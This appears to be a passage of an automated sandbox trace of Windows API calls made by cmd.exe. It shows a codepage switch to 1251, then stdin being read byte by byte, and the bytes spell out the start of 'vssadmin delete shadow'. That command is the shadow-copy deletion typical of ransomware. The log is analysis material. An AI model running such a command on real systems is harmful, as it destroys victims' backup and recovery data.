_MaxCount=0x7) returned -9 [0147.735] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0147.735] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0147.735] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0147.735] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0147.735] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0147.735] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0147.735] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0147.735] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0147.735] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0147.735] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0147.735] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0147.735] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0147.735] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0147.735] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0147.735] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0147.735] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0147.736] _wcsnicmp (_String1="COPYCMD", _String2="SESSION", _MaxCount=0x7) returned -16 [0147.736] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0147.736] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0147.736] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0147.736] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0147.736] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0147.736] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0147.736] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0147.736] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0147.736] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0147.736] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0147.736] GetProcessHeap () returned 0x70000 [0147.736] HeapFree (in: hHeap=0x70000, dwFlags=0x0, lpMem=0x84660 | out: hHeap=0x70000) returned 1 [0147.736] GetProcessHeap () returned 0x70000 [0147.736] RtlAllocateHeap (HeapHandle=0x70000, Flags=0x8, Size=0x12) returned 0x88940 [0147.736] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\mode.com", lpCommandLine="mode con cp select=1251", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Windows\\system32", lpStartupInfo=0x2def20*(cb=0x70, lpReserved=0x0, lpDesktop="Winsta0\\Default", lpTitle="mode con cp select=1251", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x2deed0 | out: lpCommandLine="mode con cp select=1251", lpProcessInformation=0x2deed0*(hProcess=0x54, hThread=0x50, dwProcessId=0x56c, dwThreadId=0x438)) returned 1 [0147.743] CloseHandle (hObject=0x50) returned 1 [0147.743] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0147.743] GetProcessHeap () returned 0x70000 [0147.743] HeapFree (in: hHeap=0x70000, dwFlags=0x0, lpMem=0x88aa0 | out: hHeap=0x70000) returned 1 [0147.743] GetEnvironmentStringsW () returned 0x88aa0* [0147.743] GetProcessHeap () returned 0x70000 [0147.743] RtlAllocateHeap (HeapHandle=0x70000, Flags=0x8, Size=0xafc) returned 0x8b370 [0147.743] FreeEnvironmentStringsW (penv=0x88aa0) returned 1 [0147.743] LoadLibraryW (lpLibFileName="NTDLL.DLL") returned 0x779b0000 [0147.743] GetProcAddress (hModule=0x779b0000, lpProcName="NtQueryInformationProcess") returned 0x77a014a0 [0147.743] NtQueryInformationProcess (in: ProcessHandle=0x54, ProcessInformationClass=0x0, ProcessInformation=0x2de7d8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2de7d8, ReturnLength=0x0) returned 0x0 [0147.744] ReadProcessMemory (in: hProcess=0x54, lpBaseAddress=0x7fffffdf000, lpBuffer=0x2de810, nSize=0x380, lpNumberOfBytesRead=0x2de7d0 | out: lpBuffer=0x2de810*, lpNumberOfBytesRead=0x2de7d0*=0x380) returned 1 [0147.744] WaitForSingleObject (hHandle=0x54, dwMilliseconds=0xffffffff) returned 0x0 [0148.156] GetExitCodeProcess (in: hProcess=0x54, lpExitCode=0x2dee18 | out: lpExitCode=0x2dee18*=0x0) returned 1 [0148.156] CloseHandle (hObject=0x54) returned 1 [0148.156] _vsnwprintf (in: _Buffer=0x2df088, _BufferCount=0x13, _Format="%08X", _ArgList=0x2dee28 | out: _Buffer="00000000") returned 8 [0148.156] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000000") returned 1 [0148.156] GetProcessHeap () returned 0x70000 [0148.156] HeapFree (in: hHeap=0x70000, dwFlags=0x0, lpMem=0x8b370 | out: hHeap=0x70000) returned 1 [0148.156] GetEnvironmentStringsW () returned 0x8e9b0* [0148.156] GetProcessHeap () returned 0x70000 [0148.156] RtlAllocateHeap (HeapHandle=0x70000, Flags=0x8, Size=0xb22) returned 0x8f4e0 [0148.156] FreeEnvironmentStringsW (penv=0x8e9b0) returned 1 [0148.156] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0148.157] GetProcessHeap () returned 0x70000 [0148.157] HeapFree (in: hHeap=0x70000, dwFlags=0x0, lpMem=0x8f4e0 | out: hHeap=0x70000) returned 1 [0148.157] GetEnvironmentStringsW () returned 0x8e9b0* [0148.157] GetProcessHeap () returned 0x70000 [0148.157] RtlAllocateHeap (HeapHandle=0x70000, Flags=0x8, Size=0xb22) returned 0x8f4e0 [0148.157] FreeEnvironmentStringsW (penv=0x8e9b0) returned 1 [0148.157] GetProcessHeap () returned 0x70000 [0148.157] HeapFree (in: hHeap=0x70000, dwFlags=0x0, lpMem=0x88940 | out: hHeap=0x70000) returned 1 [0148.157] DeleteProcThreadAttributeList (in: lpAttributeList=0x2deee8 | out: lpAttributeList=0x2deee8) [0148.157] SetConsoleTitleW (lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 1 [0148.157] _get_osfhandle (_FileHandle=1) returned 0xf4 [0148.157] SetConsoleMode (hConsoleHandle=0xf4, dwMode=0x0) returned 0 [0148.158] _get_osfhandle (_FileHandle=1) returned 0xf4 [0148.158] GetConsoleMode (in: hConsoleHandle=0xf4, lpMode=0x49f1e194 | out: lpMode=0x49f1e194) returned 0 [0148.158] _get_osfhandle (_FileHandle=0) returned 0xe8 [0148.158] GetConsoleMode (in: hConsoleHandle=0xe8, lpMode=0x49f1e198 | out: lpMode=0x49f1e198) returned 0 [0148.158] GetConsoleOutputCP () returned 0x4e3 [0148.158] GetCPInfo (in: CodePage=0x4e3, lpCPInfo=0x49f2bfe0 | out: lpCPInfo=0x49f2bfe0) returned 1 [0148.159] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0148.159] GetProcessHeap () returned 0x70000 [0148.160] HeapFree (in: hHeap=0x70000, dwFlags=0x0, lpMem=0x89d80 | out: hHeap=0x70000) returned 1 [0148.160] GetProcessHeap () returned 0x70000 [0148.160] HeapFree (in: hHeap=0x70000, dwFlags=0x0, lpMem=0x89c60 | out: hHeap=0x70000) returned 1 [0148.160] GetProcessHeap () returned 0x70000 [0148.160] HeapFree (in: hHeap=0x70000, dwFlags=0x0, lpMem=0x85bb0 | out: hHeap=0x70000) returned 1 [0148.160] GetProcessHeap () returned 0x70000 [0148.160] HeapFree (in: hHeap=0x70000, dwFlags=0x0, lpMem=0x8b310 | out: hHeap=0x70000) returned 1 [0148.160] GetProcessHeap () returned 0x70000 [0148.160] HeapFree (in: hHeap=0x70000, dwFlags=0x0, lpMem=0x89900 | out: hHeap=0x70000) returned 1 [0148.160] GetProcessHeap () returned 0x70000 [0148.160] HeapFree (in: hHeap=0x70000, dwFlags=0x0, lpMem=0x8aae0 | out: hHeap=0x70000) returned 1 [0148.160] GetProcessHeap () returned 0x70000 [0148.160] HeapFree (in: hHeap=0x70000, dwFlags=0x0, lpMem=0x86550 | out: hHeap=0x70000) returned 1 [0148.160] GetProcessHeap () returned 0x70000 [0148.160] HeapFree (in: hHeap=0x70000, dwFlags=0x0, lpMem=0x84630 | out: hHeap=0x70000) returned 1 [0148.160] GetProcessHeap () returned 0x70000 [0148.160] HeapFree (in: hHeap=0x70000, dwFlags=0x0, lpMem=0x89840 | out: hHeap=0x70000) returned 1 [0148.160] _vsnwprintf (in: _Buffer=0x49f36340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x2df348 | out: _Buffer="\r\n") returned 2 [0148.160] _get_osfhandle (_FileHandle=1) returned 0xf4 [0148.160] GetFileType (hFile=0xf4) returned 0x3 [0148.160] _get_osfhandle (_FileHandle=1) returned 0xf4 [0148.160] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x49f2c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0148.160] WriteFile (in: hFile=0xf4, lpBuffer=0x49f2c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x2df318, lpOverlapped=0x0 | out: lpBuffer=0x49f2c320*, lpNumberOfBytesWritten=0x2df318*=0x2, lpOverlapped=0x0) returned 1 [0148.160] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x49f1f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0148.160] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x49f2c0a0 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0148.160] _vsnwprintf (in: _Buffer=0x49f1eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x2df358 | out: _Buffer="C:\\Windows\\system32") returned 19 [0148.160] _vsnwprintf (in: _Buffer=0x49f1eb86, _BufferCount=0x3eb, _Format="%c", _ArgList=0x2df358 | out: _Buffer=">") returned 1 [0148.160] _get_osfhandle (_FileHandle=1) returned 0xf4 [0148.160] GetFileType (hFile=0xf4) returned 0x3 [0148.161] _get_osfhandle (_FileHandle=1) returned 0xf4 [0148.161] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="C:\\Windows\\system32>", cchWideChar=-1, lpMultiByteStr=0x49f2c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Windows\\system32>", lpUsedDefaultChar=0x0) returned 21 [0148.161] WriteFile (in: hFile=0xf4, lpBuffer=0x49f2c320*, nNumberOfBytesToWrite=0x14, lpNumberOfBytesWritten=0x2df348, lpOverlapped=0x0 | out: lpBuffer=0x49f2c320*, lpNumberOfBytesWritten=0x2df348*=0x14, lpOverlapped=0x0) returned 1 [0148.161] _get_osfhandle (_FileHandle=0) returned 0xe8 [0148.161] GetFileType (hFile=0xe8) returned 0x3 [0148.161] _get_osfhandle (_FileHandle=0) returned 0xe8 [0148.161] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0148.161] ReadFile (in: hFile=0xe8, lpBuffer=0x49f2c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2df648, lpOverlapped=0x0 | out: lpBuffer=0x49f2c320*, lpNumberOfBytesRead=0x2df648*=0x1, lpOverlapped=0x0) returned 1 [0148.161] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x49f2c320, cbMultiByte=1, lpWideCharStr=0x49f2e320, cchWideChar=1 | out: lpWideCharStr="vode con cp select=1251\n") returned 1 [0148.161] _get_osfhandle (_FileHandle=0) returned 0xe8 [0148.161] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0148.161] ReadFile (in: hFile=0xe8, lpBuffer=0x49f2c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2df648, lpOverlapped=0x0 | out: lpBuffer=0x49f2c320*, lpNumberOfBytesRead=0x2df648*=0x1, lpOverlapped=0x0) returned 1 [0148.161] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x49f2c320, cbMultiByte=1, lpWideCharStr=0x49f2e322, cchWideChar=1 | out: lpWideCharStr="sde con cp select=1251\n") returned 1 [0148.161] _get_osfhandle (_FileHandle=0) returned 0xe8 [0148.161] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0148.161] ReadFile (in: hFile=0xe8, lpBuffer=0x49f2c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2df648, lpOverlapped=0x0 | out: lpBuffer=0x49f2c320*, lpNumberOfBytesRead=0x2df648*=0x1, lpOverlapped=0x0) returned 1 [0148.161] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x49f2c320, cbMultiByte=1, lpWideCharStr=0x49f2e324, cchWideChar=1 | out: lpWideCharStr="se con cp select=1251\n") returned 1 [0148.161] _get_osfhandle (_FileHandle=0) returned 0xe8 [0148.161] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0148.161] ReadFile (in: hFile=0xe8, lpBuffer=0x49f2c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2df648, lpOverlapped=0x0 | out: lpBuffer=0x49f2c320*, lpNumberOfBytesRead=0x2df648*=0x1, lpOverlapped=0x0) returned 1 [0148.161] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x49f2c320, cbMultiByte=1, lpWideCharStr=0x49f2e326, cchWideChar=1 | out: lpWideCharStr="a con cp select=1251\n") returned 1 [0148.161] _get_osfhandle (_FileHandle=0) returned 0xe8 [0148.161] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0148.161] ReadFile (in: hFile=0xe8, lpBuffer=0x49f2c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2df648, lpOverlapped=0x0 | out: lpBuffer=0x49f2c320*, lpNumberOfBytesRead=0x2df648*=0x1, lpOverlapped=0x0) returned 1 [0148.161] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x49f2c320, cbMultiByte=1, lpWideCharStr=0x49f2e328, cchWideChar=1 | out: lpWideCharStr="dcon cp select=1251\n") returned 1 [0148.161] _get_osfhandle (_FileHandle=0) returned 0xe8 [0148.161] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0148.162] ReadFile (in: hFile=0xe8, lpBuffer=0x49f2c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2df648, lpOverlapped=0x0 | out: lpBuffer=0x49f2c320*, lpNumberOfBytesRead=0x2df648*=0x1, lpOverlapped=0x0) returned 1 [0148.162] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x49f2c320, cbMultiByte=1, lpWideCharStr=0x49f2e32a, cchWideChar=1 | out: lpWideCharStr="mon cp select=1251\n") returned 1 [0148.162] _get_osfhandle (_FileHandle=0) returned 0xe8 [0148.162] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0148.162] ReadFile (in: hFile=0xe8, lpBuffer=0x49f2c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2df648, lpOverlapped=0x0 | out: lpBuffer=0x49f2c320*, lpNumberOfBytesRead=0x2df648*=0x1, lpOverlapped=0x0) returned 1 [0148.162] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x49f2c320, cbMultiByte=1, lpWideCharStr=0x49f2e32c, cchWideChar=1 | out: lpWideCharStr="in cp select=1251\n") returned 1 [0148.162] _get_osfhandle (_FileHandle=0) returned 0xe8 [0148.162] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0148.162] ReadFile (in: hFile=0xe8, lpBuffer=0x49f2c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2df648, lpOverlapped=0x0 | out: lpBuffer=0x49f2c320*, lpNumberOfBytesRead=0x2df648*=0x1, lpOverlapped=0x0) returned 1 [0148.162] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x49f2c320, cbMultiByte=1, lpWideCharStr=0x49f2e32e, cchWideChar=1 | out: lpWideCharStr="n cp select=1251\n") returned 1 [0148.162] _get_osfhandle (_FileHandle=0) returned 0xe8 [0148.162] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0148.162] ReadFile (in: hFile=0xe8, lpBuffer=0x49f2c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2df648, lpOverlapped=0x0 | out: lpBuffer=0x49f2c320*, lpNumberOfBytesRead=0x2df648*=0x1, lpOverlapped=0x0) returned 1 [0148.162] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x49f2c320, cbMultiByte=1, lpWideCharStr=0x49f2e330, cchWideChar=1 | out: lpWideCharStr=" cp select=1251\n") returned 1 [0148.162] _get_osfhandle (_FileHandle=0) returned 0xe8 [0148.162] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0148.162] ReadFile (in: hFile=0xe8, lpBuffer=0x49f2c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2df648, lpOverlapped=0x0 | out: lpBuffer=0x49f2c320*, lpNumberOfBytesRead=0x2df648*=0x1, lpOverlapped=0x0) returned 1 [0148.162] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x49f2c320, cbMultiByte=1, lpWideCharStr=0x49f2e332, cchWideChar=1 | out: lpWideCharStr="dp select=1251\n") returned 1 [0148.162] _get_osfhandle (_FileHandle=0) returned 0xe8 [0148.162] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0148.162] ReadFile (in: hFile=0xe8, lpBuffer=0x49f2c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2df648, lpOverlapped=0x0 | out: lpBuffer=0x49f2c320*, lpNumberOfBytesRead=0x2df648*=0x1, lpOverlapped=0x0) returned 1 [0148.162] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x49f2c320, cbMultiByte=1, lpWideCharStr=0x49f2e334, cchWideChar=1 | out: lpWideCharStr="e select=1251\n") returned 1 [0148.162] _get_osfhandle (_FileHandle=0) returned 0xe8 [0148.162] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0148.162] ReadFile (in: hFile=0xe8, lpBuffer=0x49f2c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2df648, lpOverlapped=0x0 | out: lpBuffer=0x49f2c320*, lpNumberOfBytesRead=0x2df648*=0x1, lpOverlapped=0x0) returned 1 [0148.162] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x49f2c320, cbMultiByte=1, lpWideCharStr=0x49f2e336, cchWideChar=1 | out: lpWideCharStr="lselect=1251\n") returned 1 [0148.162] _get_osfhandle (_FileHandle=0) returned 0xe8 [0148.162] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0148.163] ReadFile (in: hFile=0xe8, lpBuffer=0x49f2c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2df648, lpOverlapped=0x0 | out: lpBuffer=0x49f2c320*, lpNumberOfBytesRead=0x2df648*=0x1, lpOverlapped=0x0) returned 1 [0148.163] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x49f2c320, cbMultiByte=1, lpWideCharStr=0x49f2e338, cchWideChar=1 | out: lpWideCharStr="eelect=1251\n") returned 1 [0148.163] _get_osfhandle (_FileHandle=0) returned 0xe8 [0148.163] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0148.163] ReadFile (in: hFile=0xe8, lpBuffer=0x49f2c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2df648, lpOverlapped=0x0 | out: lpBuffer=0x49f2c320*, lpNumberOfBytesRead=0x2df648*=0x1, lpOverlapped=0x0) returned 1 [0148.163] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x49f2c320, cbMultiByte=1, lpWideCharStr=0x49f2e33a, cchWideChar=1 | out: lpWideCharStr="tlect=1251\n") returned 1 [0148.163] _get_osfhandle (_FileHandle=0) returned 0xe8 [0148.163] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0148.163] ReadFile (in: hFile=0xe8, lpBuffer=0x49f2c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2df648, lpOverlapped=0x0 | out: lpBuffer=0x49f2c320*, lpNumberOfBytesRead=0x2df648*=0x1, lpOverlapped=0x0) returned 1 [0148.163] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x49f2c320, cbMultiByte=1, lpWideCharStr=0x49f2e33c, cchWideChar=1 | out: lpWideCharStr="eect=1251\n") returned 1 [0148.163] _get_osfhandle (_FileHandle=0) returned 0xe8 [0148.163] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0148.163] ReadFile (in: hFile=0xe8, lpBuffer=0x49f2c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2df648, lpOverlapped=0x0 | out: lpBuffer=0x49f2c320*, lpNumberOfBytesRead=0x2df648*=0x1, lpOverlapped=0x0) returned 1 [0148.163] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x49f2c320, cbMultiByte=1, lpWideCharStr=0x49f2e33e, cchWideChar=1 | out: lpWideCharStr=" ct=1251\n") returned 1 [0148.163] _get_osfhandle (_FileHandle=0) returned 0xe8 [0148.163] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0148.163] ReadFile (in: hFile=0xe8, lpBuffer=0x49f2c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2df648, lpOverlapped=0x0 | out: lpBuffer=0x49f2c320*, lpNumberOfBytesRead=0x2df648*=0x1, lpOverlapped=0x0) returned 1 [0148.163] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x49f2c320, cbMultiByte=1, lpWideCharStr=0x49f2e340, cchWideChar=1 | out: lpWideCharStr="st=1251\n") returned 1 [0148.163] _get_osfhandle (_FileHandle=0) returned 0xe8 [0148.163] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0148.163] ReadFile (in: hFile=0xe8, lpBuffer=0x49f2c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2df648, lpOverlapped=0x0 | out: lpBuffer=0x49f2c320*, lpNumberOfBytesRead=0x2df648*=0x1, lpOverlapped=0x0) returned 1 [0148.163] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x49f2c320, cbMultiByte=1, lpWideCharStr=0x49f2e342, cchWideChar=1 | out: lpWideCharStr="h=1251\n") returned 1 [0148.163] _get_osfhandle (_FileHandle=0) returned 0xe8 [0148.163] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0148.163] ReadFile (in: hFile=0xe8, lpBuffer=0x49f2c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2df648, lpOverlapped=0x0 | out: lpBuffer=0x49f2c320*, lpNumberOfBytesRead=0x2df648*=0x1, lpOverlapped=0x0) returned 1 [0148.163] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x49f2c320, cbMultiByte=1, lpWideCharStr=0x49f2e344, cchWideChar=1 | out: lpWideCharStr="a1251\n") returned 1 [0148.163] _get_osfhandle (_FileHandle=0) returned 0xe8 [0148.163] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0148.164] ReadFile (in: hFile=0xe8, lpBuffer=0x49f2c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2df648, lpOverlapped=0x0 | out: lpBuffer=0x49f2c320*, lpNumberOfBytesRead=0x2df648*=0x1, lpOverlapped=0x0) returned 1 [0148.164] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x49f2c320, cbMultiByte=1, lpWideCharStr=0x49f2e346, cchWideChar=1 | out: lpWideCharStr="d251\n") returned 1 [0148.164] _get_osfhandle (_FileHandle=0) returned 0xe8 [0148.164] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0148.164] ReadFile (in: hFile=0xe8, lpBuffer=0x49f2c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2df648, lpOverlapped=0x0 | out: lpBuffer=0x49f2c320*, lpNumberOfBytesRead=0x2df648*=0x1, lpOverlapped=0x0) returned 1 [0148.164] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x49f2c320, cbMultiByte=1, lpWideCharStr=0x49f2e348, cchWideChar=1 | out: lpWideCharStr="o51\n") returned 1 [0148.164] _get_osfhandle (_FileHandle=0) returned 0xe8 [0148.164] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0148.164] ReadFile (in: hFile=0xe8, lpBuffer=0x49f2c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2df648, lpOverlapped=0x0 | out: lpBuffer=0x49f2c320*, lpNumberOfBytesRead=0x2df648*=0x1, lpOverlapped=0x0) returned 1 [0148.164] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x49f2c320, cbMultiByte=1, lpWideCharStr=0x49f2e34a, cchWideChar=1 | out: lpWideCharStr="w1\n") returned 1 [0148.164] _get_osfhandle (_FileHandle=0) returned 0xe8 [0148.164] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0148.164] ReadFile (in: hFile=0xe8, lpBuffer=0x49f2c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2df648, lpOverlapped=0x0 | out: 